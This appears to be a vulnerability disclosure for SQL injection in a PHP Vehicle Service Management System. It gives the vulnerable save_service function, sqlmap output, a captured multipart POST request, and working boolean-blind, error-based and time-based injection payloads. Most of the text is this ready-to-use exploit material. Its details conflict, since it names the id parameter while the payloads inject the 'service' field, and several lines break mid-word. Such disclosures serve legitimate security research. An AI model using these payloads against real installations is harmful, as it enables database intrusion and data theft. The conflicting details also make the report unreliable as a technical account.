

SQL injection vulnerability exists in id parameter of /classes/Master.php file of Vehicle Service Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'service_requests/manage_inventory', it will include /admin/service_requests/manage_inventory.php, and id parameter can do sql injection.

```
77 function save_service(){
78     extract($_POST);
79     $data = "";
80     $_POST['description'] = addslashes(htmlentities($description));
81     foreach($_POST as $k => $v){
82         if(!in_array($k, array('id'))){
83             if(empty($data)) $data .= " ";
84             $data .= "{$k}='{$v}' ";
85         }
86     }
87     $check = $this->conn->query("SELECT * FROM `service_list` where `service` = '({$service})' ". (!empty($id) ? " and id != ({$id}) " : ""). " ") ->
88     num_rows;
89     if($this->capture_err()){
90         return $this->capture_err();
91     }
92     if($check > 0){
93         $resp['status'] = 'failed';
94         $resp['msg'] = "Service already exist.";
95         return json_encode($resp);
96         exit;
97     }
98 }
```

```
sqlmap identified the following injection point(s) with a total of 3461 HTTP(s) requests:
Parameter: MULTIPART service ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (comment)
Payload: -----YWJkMTQzNDcw
Content-Disposition: form-data; name="id"

-----YWJkMTQzNDcw
Content-Disposition: form-data; name="service"

1' AND 6246=6246-- --
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="description"

2
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="files"

-----YWJkMTQzNDcw
Content-Disposition: form-data; name="status"

0
-----YWJkMTQzNDcw--
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBS
ET)
Payload: -----YWJkMTQzNDcw
Content-Disposition: form-data; name="id"

-----YWJkMTQzNDcw
```

Request

```
POST /vehicle_service/classes/Master
save_service HTTP/1.1
Content-Type: multipart/form-data;
boundary=-----YWJkMTQzNDcw
Accept: application/json, text/javas
cript; q=0.01
x-requested-with: XMLHttpRequest
Referer: http://192.168.19.1/vehicle
Cookie: PHPSESSID=ed18a1d4b9c9dmd
Content-Length: 472
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT
windw; x64; AppleWebKit/537.36 (KHTML
Gecko) Chrome/106.0.0.0 Safari/537.3
Host: 192.168.19.1
Connection: keep-alive
-----YWJkMTQzNDcw
Content-Disposition: form-data; name=
```

“

Parameter: MULTIPART service ((custom) POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (comment)

Payload: -----YWJkMTQzNDcw

Content-Disposition: form-data; name="id"

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="service"

1' AND 6246=6246-- -

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="description"

2

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="files"

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="status"

0

-----YWJkMTQzNDcw--

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

Payload: -----YWJkMTQzNDcw

Content-Disposition: form-data; name="id"

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="service"

1' AND GTID_SUBSET(CONCAT(0x7171626b71,(SELECT (ELT(3001=3001,1))),0x717a6b7871),3001)
AND 'TMJB'='TMJB

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="description"

2

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="files"

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="status"

0

-----YWJkMTQzNDcw--

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: -----YWJkMTQzNDcw

Content-Disposition: form-data; name="id"

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="service"

1' AND (SELECT 1300 FROM (SELECT(SLEEP(5)))jEVY) AND 'nvqB'='nvqB

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="description"

2

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="files"

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="status"

0

-----YWJkMTQzNDcw--

“

Source Download:

<https://www.campcodes.com/projects/php/vehicle-service-management-system-in-php-mysql-free-download-source-code/>